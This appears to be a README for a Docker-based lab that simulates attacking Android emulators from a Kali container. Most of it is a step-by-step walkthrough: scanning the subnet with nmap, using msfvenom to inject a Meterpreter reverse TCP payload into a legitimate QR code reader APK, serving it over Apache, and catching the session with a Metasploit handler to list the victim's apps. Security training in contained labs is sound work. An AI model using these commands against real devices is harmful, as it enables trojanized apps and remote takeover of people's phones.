This project aims to simulate an attack scenario against Android devices. Using docker compose file you can simulate a subnet with android device and kali machine inside
- Docker and docker-compose are installed in your system. Check installation here: https://www.docker.com/
- This project use a docker image for android device. Check the documentation here: https://github.com/budtmo/docker-android
- Before you start check if your machine support virtualization:
sudo apt install cpu-checker
kvm-ok- Download Dockerfile and docker-compose.yml from this repository
- Go inside the directory containing files.
- Open terminal and run:
docker-compose up- Open the browser and check http://localhost:6080 to see android device S10 running.
- Open the browser and check http://localhost:6081 to see android device S8 running.
- Open terminal and run:
docker exec -it kali bash- Now you can interact with kali linux and metasploit-framework
- Run nmap checking network devices info into the network
nmap -O 172.16.238.0/24- Create .apk android meterpreter reverse tcp payload with msfvenom command.
- Inject malware.apk into QRcodeReader.apk (legitimate app) with -x option.
- Set LHOST=172.16.238.10 and LPORT=4444. Then save .apk file with -o option:
msfvenom -p android/meterpreter/reverse_tcp -x app/QRcodeReader.apk LHOST=172.16.238.10 LPORT=4444 -o malware.apk- Move generated malware.apk into apache server directory /var/www/html with this command:
mv malware.apk /var/www/html- Run apache2 server:
service apache2 start- Go on kali and run metasploit-framework:
msfconsole- Set generic handler:
use multi/handler- Set payload type:
set PAYLOAD android/meterpreter/reverse_tcp- Set LHOST:
set LHOST 172.16.238.10- Set LPORT:
set LPORT 4444- Run exploit:
exploit- Well done! Now you can wait victim install the apk file.
- On android devices open browser, type 172.16.238.10/malware.apk and download the app.
- Install malware.apk enabling unknown sources from setting menu. Open the app!
- On kali machine you can see new session opened and use meterpreter console. Run help to see all allowed commands
help- Run app_list to show all app installed on victim device:
app_list